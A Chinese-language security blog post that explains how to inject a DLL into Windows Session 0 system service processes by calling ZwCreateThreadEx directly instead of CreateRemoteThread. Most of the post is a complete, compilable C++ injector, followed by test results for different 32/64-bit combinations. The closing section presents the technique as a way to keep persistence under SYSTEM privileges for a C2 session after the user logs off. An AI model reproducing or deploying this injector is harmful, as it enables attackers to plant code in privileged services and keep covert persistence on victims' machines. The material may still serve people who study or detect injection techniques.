遠端執行緒注入DLL突破session 0 隔離

cunren 發表於 2021-09-14

遠端執行緒注入DLL突破session 0 隔離

0x00 前言

補充上篇的遠端執行緒注入,突破系統SESSION 0 隔離,向系統服務程式中注入DLL。

0x01 介紹

通過CreateRemoteThread實現的遠端執行緒注入,流程大致就是:

通過OpenProcess獲取目標程式控制程式碼。

通過VirtualAllocEx在目標程式空間中申請記憶體,通過WriteProcessMemory放入需要載入的dll的路徑。

通過GetModuleHandleA獲取諸如kernel32.dll這類系統dll的模組控制程式碼,進而獲取LoadLibraryA這類載入動態連結庫的函式地址(固定)

通過CreateRemoteThread的引數傳入目標程式物件控制程式碼、寫入到目標程式空間的dll路徑、LoadLibraryA函式地址,實現中目標中建立多執行緒載入dll。

而如果想要突破SESSION 0隔離,實現遠端執行緒注入,則是使用比CreateRemoteThread更底層的核心API ZwCreateThreadEx。

這裡補充下SESSION 0隔離是什麼。

SESSION 0 隔離:

https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)

https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN

在Windows XP、Windows Server 2003,以及更老版本的Windows作業系統中,服務和應用程式使用相同的會話(Session)執行,而這個會話是由第一個登入到控制檯的使用者啟動的。該會話就叫做Session 0。

而從Windows Vista開始,只有服務可以託管到Session 0中,使用者應用程式和服務之間會被隔離,並需要執行在使用者登入到系統時建立的後續會話中。例如第一個登入的使用者建立 Session 1,第二個登入的使用者建立Session 2,以此類推,如下圖所示。

image

為了避免應用程式許可權混亂造成的風險,微軟提供了SESSION 0 隔離機制,而攻擊者為了提升許可權操作服務擁有的許可權(SYSTEM)則又了突破SESSION 0 隔離。

這裡ZwCreateThreadEx函式在不同位數的系統擁有不同的函式宣告。

ZwCreateThreadEx函式宣告:

#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

為什麼CreateRemoteThread不能實現系統服務程式DLL注入?

書裡直接解釋的是由於SESSION 0隔離機制在核心6.0之後(vista、7、8...),當建立一個程式後,並不會立即執行,通過先掛起程式,檢視要執行的程式所在會話層之後再決定是否恢復程式執行(待逆向觀察)。

而CreateRemoteThread實現內部呼叫了ZwCreateThreadEx建立遠端執行緒,但是CreateSuspended的引數值為1導致執行緒無法恢復執行,導致DLL注入失敗。

而我們只需要直接呼叫ZwCreateThreadEx,並在程式執行指定CreateSuspended為0即可實現遠端執行緒注入DLL突破SESSION 0隔離。

0x02 編碼實現

由於ZwCreateThreadEx函式在nydll.dll中沒有宣告,所以需要通過GetProcAddress獲取ZwCreateThreadEx的函式地址來呼叫。

InjectDll.h

#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_


#include <Windows.h>


// 使用 ZwCreateThreadEx 實現遠執行緒注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName);


#endif

Test_Session0_injectPID.cpp

// Test_Session0_injectPID.cpp : 此檔案包含 "main" 函式。程式執行將在此處開始並結束。
//

#include <iostream>
#include "InjectDll.h"


void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 ZwCreateThreadEx 實現遠執行緒注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;
	HANDLE hRemoteThread = NULL;
	DWORD dwStatus = 0;

	// 開啟注入程式,獲取程式控制程式碼
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}
	// 在注入程式中申請記憶體
	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	// 向申請的記憶體中寫入資料
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	// 載入 ntdll.dll
	HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
	if (NULL == hNtdllDll)
	{
		ShowError("LoadLirbary");
		return FALSE;
	}
	// 獲取LoadLibraryA函式地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	// 獲取ZwCreateThread函式地址
#ifdef _WIN64
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown);
#else
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);
#endif
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		ShowError("GetProcAddress_ZwCreateThread");
		return FALSE;
	}
	// 使用 ZwCreateThreadEx 建立遠執行緒, 實現 DLL 注入
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("ZwCreateThreadEx");
		return FALSE;
	}
	// 關閉控制程式碼
	::CloseHandle(hProcess);
	::FreeLibrary(hNtdllDll);

	return TRUE;
}

int main(int argc, char* argv[])
{
#ifndef _WIN64
	BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#else 
	BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
	if (FALSE == bRet)
	{
		std::cout << "Inject Dll Error.\n";
	}
	std::cout << "Inject Dll OK.\n";
	return 0;
}

0x03 效果測試

通過procexp可檢視程式所屬session。

image

編寫了多個位數的inject 程式,多個位數的dll。

結果發現:

x64 inject程式遠端執行緒注入x64 dll到x64可行。

x64 inject程式遠端執行緒注入x86 dll到x64可行,但是沒成功到目標x64程式。

X86 inject程式遠端執行緒注入x64 dll到x64不可行。

X86 inject程式遠端執行緒注入x86 dll到x64不可行。

image

測試成功注入DLL到SESSION 0程式。

0x04 總結

會話隔離會導致諸多問題,比如一個c2的會話是system,不能截圖看到使用者介面,只能以使用者許可權程式螢幕截圖。不過這裡突破session 0到系統服務後可以方便維權,只要機器不關,就算使用者退出登入,也可以持久維權。

0x05 參考

https://www.cnblogs.com/gnielee/archive/2010/04/07/session0-isolation-part1.html

https://www.cnblogs.com/gnielee/archive/2010/04/08/session0-isolation-part2.html

https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)

https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN